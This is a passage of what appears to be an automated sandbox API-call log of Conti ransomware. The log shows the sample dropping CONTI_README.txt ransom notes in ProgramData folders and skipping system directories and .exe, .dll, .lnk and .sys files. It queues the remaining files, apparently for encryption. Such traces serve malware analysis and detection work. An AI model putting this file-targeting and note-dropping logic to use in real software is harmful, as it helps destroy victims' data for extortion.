	[0098.243] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\CONTI_README.txt"
	[0098.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.245] GetProcessHeap () returned 0x1720000
	[0098.245] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.245] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.246] CloseHandle (hObject=0x37c) returned 1
	[0098.246] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0098.246] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.246] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.246] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.246] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.246] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e660975, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e660975, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.246] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.246] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.246] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.246] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.246] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.246] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2=".") returned 1
	[0098.246] lstrcmpiW (lpString1="MasterDescriptor.x-none.xml", lpString2="..") returned 1
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".exe") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".dll") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".lnk") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".sys") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch=".CONTI") returned 0x0
	[0098.246] StrStrIW (lpFirst="MasterDescriptor.x-none.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.246] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned 82
	[0098.246] lstrlenW (lpString="MasterDescriptor.x-none.xml") returned 27
	[0098.246] GetProcessHeap () returned 0x1720000
	[0098.246] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xde) returned 0x17c8e70
	[0098.246] lstrcpyW (in: lpString1=0x17c8e70, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.247] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\"
	[0098.247] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\", lpString2="MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\MasterDescriptor.x-none.xml"
	[0098.247] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7218) returned 1
	[0098.247] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1
	[0098.247] lstrcmpiW (lpString1="s640.hash", lpString2=".") returned 1
	[0098.247] lstrcmpiW (lpString1="s640.hash", lpString2="..") returned 1
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".exe") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".dll") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".lnk") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".sys") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch=".CONTI") returned 0x0
	[0098.247] StrStrIW (lpFirst="s640.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.247] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned 82
	[0098.247] lstrlenW (lpString="s640.hash") returned 9
	[0098.247] GetProcessHeap () returned 0x1720000
	[0098.247] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xba) returned 0x17cc250
	[0098.247] lstrcpyW (in: lpString1=0x17cc250, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.247] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\"
	[0098.247] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\", lpString2="s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash"
	[0098.247] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6468) returned 1
	[0098.247] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.247] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2=".") returned 1
	[0098.247] lstrcmpiW (lpString1="stream.x64.x-none.man.dat", lpString2="..") returned 1
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".exe") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".dll") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".lnk") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".sys") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.247] StrStrIW (lpFirst="stream.x64.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.248] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned 82
	[0098.248] lstrlenW (lpString="stream.x64.x-none.man.dat") returned 25
	[0098.248] GetProcessHeap () returned 0x1720000
	[0098.248] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17c3688
	[0098.248] lstrcpyW (in: lpString1=0x17c3688, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16"
	[0098.248] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\"
	[0098.248] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\", lpString2="stream.x64.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\stream.x64.x-none.man.dat"
	[0098.248] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7fc8) returned 1
	[0098.248] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.248] GetProcessHeap () returned 0x1720000
	[0098.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0098.248] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0098.248] GetProcessHeap () returned 0x1720000
	[0098.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.248] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0098.248] GetProcessHeap () returned 0x1720000
	[0098.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f930 | out: hHeap=0x1720000) returned 1
	[0098.248] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0098.248] GetProcessHeap () returned 0x1720000
	[0098.248] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f570 | out: hHeap=0x1720000) returned 1
	[0098.248] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2=".") returned 1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="..") returned 1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="tmp") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="winnt") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="Application Data") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="AppData") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="temp") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="thumb") returned -1
	[0098.248] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="$Recycle.Bin") returned 1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="$RECYCLE.BIN") returned 1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="System Volume Information") returned -1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="Program Files") returned -1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="Program Files (x86)") returned -1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="Boot") returned -1
	[0098.249] lstrcmpiW (lpString1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="Windows") returned -1
	[0098.249] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.249] lstrlenW (lpString="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned 36
	[0098.249] GetProcessHeap () returned 0x1720000
	[0098.249] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x173f890
	[0098.249] lstrcpyW (in: lpString1=0x173f890, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.249] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.249] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0098.249] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned 72
	[0098.249] GetProcessHeap () returned 0x1720000
	[0098.249] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x173fed0
	[0098.249] lstrcpyW (in: lpString1=0x173fed0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0098.249] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*"
	[0098.249] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned 72
	[0098.249] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.249] GetProcessHeap () returned 0x1720000
	[0098.249] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c61b0
	[0098.249] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0098.249] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\"
	[0098.249] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\CONTI_README.txt"
	[0098.249] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0098.250] GetProcessHeap () returned 0x1720000
	[0098.250] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.250] WriteFile (in: hFile=0x384, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.251] CloseHandle (hObject=0x384) returned 1
	[0098.251] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0098.251] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.251] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e660975, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="..", cAlternateFileName="")) returned 1
	[0098.251] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.251] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.251] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e660975, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e660975, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e68699d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.251] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.251] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.251] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.251] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.251] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="en-us.16", cAlternateFileName="")) returned 1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2=".") returned 1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="..") returned 1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="tmp") returned -1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="winnt") returned -1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="Application Data") returned 1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="AppData") returned 1
	[0098.251] lstrcmpiW (lpString1="en-us.16", lpString2="temp") returned -1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="thumb") returned -1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="$Recycle.Bin") returned 1
